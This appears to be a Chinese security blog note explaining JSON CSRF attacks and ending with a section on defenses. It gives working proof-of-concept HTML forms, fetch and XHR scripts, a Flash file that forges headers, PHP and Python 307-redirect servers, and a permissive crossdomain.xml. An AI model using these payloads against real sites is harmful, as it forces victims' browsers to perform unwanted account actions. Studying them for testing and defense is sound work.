这时很早以前的话题了,整理一下原理和工具脚本等,以作为笔记。
0x01 CSRF与Json CSRF
一般的,我们说CSRF都是在GET/POST请求中通过构造HTML表单如param=value来提交给服务器,服务器得到数据并处理请求;而Json CSRF则是提交Json格式的数据。
相比之下,提交Json格式的数据,这种请求包更难构造,因为表单无法伪造Content-Type字段、无法提交格式正确的Json数据,因此需要利用其它技术组合利用。
当然,两者的漏洞存在的前提是一样的,即无CSRF token。
0x02 Json CSRF的几种情形
未校验Content-Type字段和Json数据格式
此时直接使用Burpsuite生成的CSRF PoC即可利用,这里我们可以明显地看到Json数据最后会带上=号,因此也正是服务端未校验Json数据格式才能成功。
这里假设某站点Json端点通过POST方式提交Json数据,该接口用于添加新用户和邮箱,我们用Burpsuite抓包然后生成PoC如下,当然实际生成的情况中提交数据的特殊字符会被编码掉:
1 2 3 4 5 6 7 8 9 10
| <html> <title>JSON CSRF POC</title> <center> <h1> JSON CSRF POC </h1> <form action=http://vul-app.com method=post enctype="text/plain" > <input name='{"name":"attacker","email":"attacker@gmail.com","ignore_me":"test"}' value=''type='hidden'> <input type=submit value="Submit"> </form> </center> </html>
|
而发送的POST请求包大致如下:
1 2 3 4 5 6 7
| POST / HTTP/1.1 Host: vul-app.com ... Content-Type: text/plain ...
{"name":"attacker","email":"attacker@gmail.com","ignore_me":"test"}=
|
可以看到,Content-Type字段为text/plain,Json数据最后会多出个=号,那是因为Json数据放在了input标签中name属性值中,而input标签的value属性为空,表单提交时是会以name=value的形式提交的。
缺点:无法伪造Content-Type字段;不校验Json数据格式。
未校验Content-Type字段,校验Json数据格式但最后的Json键值可填入=号
此时需要稍微改下前面的表单PoC,在input标签的value处写上相应的值来使Json数据格式正确:
1 2 3 4 5 6 7 8 9 10
| <html> <title>JSON CSRF POC</title> <center> <h1> JSON CSRF POC </h1> <form action=http://vul-app.com method=post enctype="text/plain" > <input name='{"name":"attacker","email":"attacker@gmail.com","ignore_me":"' value='test"}'type='hidden'> <input type=submit value="Submit"> </form> </center> </html>
|
在POST的请求体中,看到Content-Type字段依然为text/plain,但Json数据最后并无=号,而是在Json数据中最后的键值对的值中前面多了个=号,这时闭合构造的结果:

缺点:无法伪造Content-Type字段;Json数据值可带=号。
校验Content-Type字段和Json数据格式,允许跨域OPTIONS
如果校验了Content-Type字段必须为application/json的话,前面两种方式都不行了。
当跨域请求为复杂请求时,浏览器会发送OPTIONS请求,用来让服务端返回允许的方法(如GET、POST),允许被跨域访问的Origin(来源或者域),还有是否需要Credentials(认证信息)等。
下面使用Fetch和XHR方法的前提都是要发起OPTIONS请求来进行预检,之后才是真正地发送Json数据包。
Fetch
使用JS的Fetch()方法可以解决Content-Type字段的问题:
1 2 3 4 5
| <html> <script> fetch('http://vul-app.com', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json; charset=utf-8'}, body: '{"name":"attacker","email":"attacker@gmail.com","ignore_me":"test"}'}); </script> </html>
|
抓包可看到会先发送OPTIONS请求,再发送真正的请求;在请求中Content-Type字段为application/json,Json数据也是正确的格式。
缺点:跨域发送OPTIONS请求。
XHR
使用XMLHttpRequest可以解决Content-Type字段的问题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <html> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://vul-app.com", true); xhr.setRequestHeader("Accept", "*/*"); xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3"); xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8"); xhr.withCredentials = true; xhr.send(JSON.stringify({"name":"attacker","email":"attacker@gmail.com","ignore_me":"test"})); } </script> </body> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();"/> </form> </html>
|
抓包可看到会先发送OPTIONS请求,再发送真正的请求;在请求中Content-Type字段为application/json,Json数据也是正确的格式。
缺点:跨域发送OPTIONS请求。
校验Content-Type字段和Json数据格式
此时便需要用到Flash + HTTP 307技巧来实现利用了,在下一节说明。
0x03 Flash + HTTP 307
个人理解的公式:无CSRF token + Flash + HTTP 307 = Json CSRF
解决了哪些问题:
- Flash可以自定义Header请求,从而伪造Content-Type字段;
- HTTP 307和其他3xx HTTP状态码不同之处在于,307可以确保重定向请求发送之后,请求的方法和请求主体不会发生任何改变,会原封不动地转发出去;
- Flash访问同域或存在crossdomain.xml允许的服务器的307跳转文件可避免Flash跨域访问时必须要求目标站点存在crossdomain.xml且配置允许的特定情况;
适用场景
目标Json端点无CSRF token机制,其所能接收的Header的Content-Type必须为application/json,且严格校验了Json格式数据。
关键文件
在发起攻击前,需要我们准备好几个关键的文件。
Flash文件
第一个是用于向307文件发起请求的诱使用户访问的Flash的swf文件,作用就是构造Json数据,伪造Content-Type字段并访问攻击者控制的服务器的307文件,至于as文件如何编译看下Flash XSS相关文章即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| package { import flash.display.Sprite; import flash.net.URLLoader; import flash.net.URLRequest; import flash.net.URLRequestHeader; import flash.net.URLRequestMethod; public class csrf extends Sprite { public function csrf() { super(); var member1:Object = null; var myJson:String = null; member1 = new Object(); member1 = { "acctnum":"100", "confirm":"true" }; var myData:Object = member1; myJson = JSON.stringify(myData); var url:String = "http://attacker-ip:8000/"; var request:URLRequest = new URLRequest(url); request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json")); request.data = myJson; request.method = URLRequestMethod.POST; var urlLoader:URLLoader = new URLLoader(); try { urlLoader.load(request); return; } catch(e:Error) { trace(e); return; } } } }
|
实现307跳转功能的文件
该文件放置于攻击者控制的服务器上,可与Flash文件放置在同一服务上,可用PHP或Python实现。
PHP实现307跳转的代码,简单粗暴:
1 2 3
| <?php header("Location: ".$_GET["endpoint"], true, 307); ?>
|
Python实现的代码,基于BaseHTTPServer实现的,用于和Flash文件放置在同一个Web服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import BaseHTTPServer import time import sys
HOST = '' PORT = 8000
class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_POST(s): if s.path == '/csrf.swf': s.send_response(200) s.send_header("Content-Type","application/x-shockwave-flash") s.end_headers() s.wfile.write(open("csrf.swf", "rb").read()) return s.send_response(307) s.send_header("Location", "https://victim-site/userdelete") s.end_headers() def do_GET(s): print(s.path) s.do_POST() if __name__ == '__main__': server_class = BaseHTTPServer.HTTPServer httpd = server_class((HOST, PORT), RedirectHandler) print time.asctime(), "Server Starts - %s:%s" % (HOST, PORT) try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close() print time.asctime(), "Server Stops - %s:%s" % (HOST, PORT)
|
crossdomain.xml
这个文件是否需要看情况:当Flash文件和307跳转文件同域,则无需该文件;若两个文件不同域,为了使Flash文件能够成功跨域访问,则需要攻击者在307跳转文件所在的Web服务器上放置crossdomain.xml并设置允许Flash文件所在的域能够访问,如:
1 2 3 4
| <cross-domain-policy> <allow-access-from domain="*" secure="false"/> <allow-http-request-headers-from domain="*" headers="*" secure="false"/> </cross-domain-policy>
|
利用过程
借个FreeBuf上的图:

用户在浏览器中登录http://victim-site/
用户被重定向到http://attacker-ip:8000/csrf.swf
Flash文件加载成功,并向http://attacker-ip:8000/
发送带有自定义Header的POST Payload。
攻击者的服务器发送HTTP 307重定向,这样便能让POST响应body和自定义HTTP头按原样发送到http://victim-site/
目标用户刷新自己的http://victim-site/
页面,并发现自己的帐户已经被删除了
案例
可参考:http://www.0xby.com/902.html
0x04 工具
现成美好的轮子已经很多了,无需我们自己再造了,下面是个人收集的两个。
Python起的Web服务,包括307文件都在一个Web服务中,理解原理可参考这个构造payload:
https://github.com/appsecco/json-flash-csrf-poc
更全面的工具,包括显示界面等HTML文件,PHP文件实现的307跳转功能:
https://github.com/sp1d3r/swf_json_csrf/
0x05 防御方法
Json CSRF还是CSRF漏洞,采用CSRF通用防御即可成功防御。
主要有 5 种策略:验证 HTTP的Referer字段、在请求地址中添加 token 并验证、在 HTTP 头中自定义属性并验证、使用POST替代GET等。
(1)、验证 HTTP的Referer字段,在 HTTP 头的Referer字段记录了该 HTTP 请求的来源地址。顺便解决了非法盗链、站外提交等问题。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。
(2)、在请求地址中添加 token 并验证,可以在 HTTP请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。抵御 CSRF 攻击的关键在于:在请求中加入攻击者所不能伪造的信息,并且该信息不存在于 Cookie 之中。
(3)、在 HTTP 头中自定义属性并验证,也是使用 token 并进行验证,但并不是把 token以参数的形式置于 HTTP 请求而是放到 HTTP 头中自定义的属性里。通过XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把token 值放入其中。这样解决了前一种方法在请求中加入 token 的不便,同时,通过这个类请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会通过 Referer 泄露到其他网站。
(4)、严格区分好 POST 与 GET 的数据请求,尽量使用POST来替代GET,如在 asp 中不要使用 Request 来直接获取数据。同时建议不要用 GET 请求来执行持久性操作。
(5)、使用验证码或者密码确认方式,缺点是用户体验差。
0x06 参考
如何在JSON端点上利用CSRF漏洞
通过挖掘某某 src 来学习 json csrf
[译] 使用 Flash 进行 JSON CSRF 攻击
JSON CSRF的一个案例-附利用链接